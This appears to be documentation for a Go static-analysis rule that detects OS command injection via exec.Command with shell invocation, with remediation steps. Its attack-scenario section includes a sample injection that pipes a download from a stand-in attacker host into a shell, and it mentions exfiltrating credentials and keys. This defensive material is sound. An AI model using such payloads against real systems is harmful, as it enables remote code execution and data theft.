Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset golang/GO-SEC-002 --project .About This Rule
Understanding the vulnerability and how it is detected
OS command injection occurs when user-controlled input is passed to shell command execution functions without sanitization. Go's os/exec package is safer than most languages by default — `exec.Command("ls", userInput)` passes the argument as a separate string to the OS, not through a shell, so shell metacharacters (`;`, `|`, `&&`, `$(...)`, backticks) are literal and not interpreted.
**The critical vulnerability pattern** is when developers explicitly use a shell interpreter: `exec.Command("sh", "-c", userInput)` or `exec.Command("bash", "-c", userInput)`. This invokes a shell to parse the command string, where all shell metacharacters become active and enable full command injection.
**Other dangerous patterns**: - "Passing user input as the binary name: `exec.Command(userInput, args...)` — attacker" controls which binary is executed. - "Argument injection: `exec.Command(\"ffmpeg\", \"-i\", userInput)` — while not shell" injection, ffmpeg and many tools have argument injection vulnerabilities (e.g., `-vf` flag injection).
**Real-world Go command injection CVEs**: - Multiple Go-based CI/CD tools and file conversion services have been found vulnerable when user-supplied filenames or format parameters were passed to exec.Command with shell invocation. - Go tooling that wraps git, ffmpeg, imagemagick, or similar is particularly at risk.
**Preferred alternative**: Always use Go's native libraries instead of shelling out. For image processing: github.com/disintegration/imaging, golang.org/x/image. For git: github.com/go-git/go-git. This eliminates the attack surface entirely.
Security Implications
Potential attack scenarios if this vulnerability is exploited
Remote Code Execution (RCE)
Injecting `; curl https://attacker.com/payload | sh` executes arbitrary commands as the application process user. In containerized environments this can achieve container escape via kernel exploits. On bare metal, it provides full server access.
Data Exfiltration
Injected commands can read `/etc/passwd`, application configuration files containing database credentials, TLS private keys, or application secrets and transmit them out-of-band via curl, wget, or DNS queries.
Persistence and Backdoor Installation
Attackers write cron jobs, SSH authorized_keys, or startup scripts for persistent access. In Kubernetes environments, injected commands can exfiltrate service account tokens for lateral movement across the cluster.
Argument Injection
Even without shell metacharacters, passing user input as a command argument can trigger argument injection vulnerabilities in the target tool. git with `--upload-pack` can exfiltrate arbitrary files; ffmpeg with crafted input paths can read arbitrary server files.
How to Fix
Recommended remediation steps
- 1Use Go native libraries instead of exec.Command for image processing, git, PDF, etc.
- 2Never use exec.Command("sh", "-c", ...) or exec.Command("bash", "-c", ...) with user input.
- 3If shelling out is unavoidable, validate input against an explicit allowlist and pass as separate exec.Command arguments (not through a shell).
- 4The binary name (first argument to exec.Command) must never be user-controlled.
- 5Use exec.CommandContext with a timeout to limit resource exhaustion from injected commands.
- 6Run the application with least-privilege OS user to limit blast radius.
- 7In containers, use seccomp profiles and read-only filesystems as defense-in-depth.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
Tracks taint from HTTP framework request sources (net/http.Request, gin.Context, echo.Context, fiber.Ctx) to exec.Command and exec.CommandContext calls with global inter-procedural scope.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Go
Path Traversal via HTTP Input
User-controlled HTTP input reaches file system operations without path validation — filepath.Clean() alone is insufficient; filepath.Join("/uploads", "/etc/passwd") returns "/etc/passwd" in Go.
SQL Injection via database/sql
User-controlled input reaches database/sql query methods without parameterization, enabling SQL injection — ranked
Frequently Asked Questions
Common questions about OS Command Injection via HTTP Input
New feature
Get these findings posted directly on your GitHub pull requests
The OS Command Injection via HTTP Input rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.